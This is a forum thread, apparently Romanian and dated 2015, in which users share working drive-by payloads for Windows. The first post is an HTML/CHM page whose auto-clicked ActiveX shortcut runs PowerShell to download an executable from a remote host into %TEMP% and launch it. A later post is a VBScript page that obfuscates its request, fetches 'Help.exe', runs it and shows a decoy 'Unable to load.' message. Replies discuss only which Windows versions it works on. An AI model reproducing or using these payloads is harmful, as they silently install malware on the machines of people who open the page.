geeko Posted April 8, 2015 Report Posted April 8, 2015 <HTML><TITLE>support</TITLE><HEAD></HEAD><BODY><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=",cmd.exe,/c powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.75/calc.exe','%TEMP%\calc.exe'); Start-Process '%TEMP%\calc.exe' ,"><PARAM name="Item2" value="273,1,1"></OBJECT><script>x.Click();</SCRIPT><A name=contents><H2 align=center>support</H2><P></A><H3 ALIGN=CENTER>support</H3><P></BODY> Quote
aphex Posted April 8, 2015 Report Posted April 8, 2015 pe ce versiuni de win merge ? banuiesc ca trebuie sa ai powershell instalat! Quote
geeko Posted April 8, 2015 Author Report Posted April 8, 2015 iti trebuie powershell , pe 7 stiu sigur restu inca nu e testat Quote
scarcium Posted May 2, 2015 Report Posted May 2, 2015 <html><body><script type="text/vbscript">Function SimpleBinaryToString(Binary) Dim I, S For I = 1 To LenB(Binary) S = S & Chr(AscB(MidB(Binary, I, 1))) Next SimpleBinaryToString = SEnd FunctionSub dl(url, dst)dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")dim method: method = Chr(71) & Chr(69) & Chr(84)xmlhttp.Open method, url, Falsexmlhttp.SendDim i, objFileSet objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))objFile.Close()set xmlhttp = nothingset objFile = nothingEnd Subdim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"dim urlurl = "http:/www/Help.exe"dl url, dstCreateObject("WScript.Shell").Run dst</script><p>Unable to load.</p></body></html> Quote
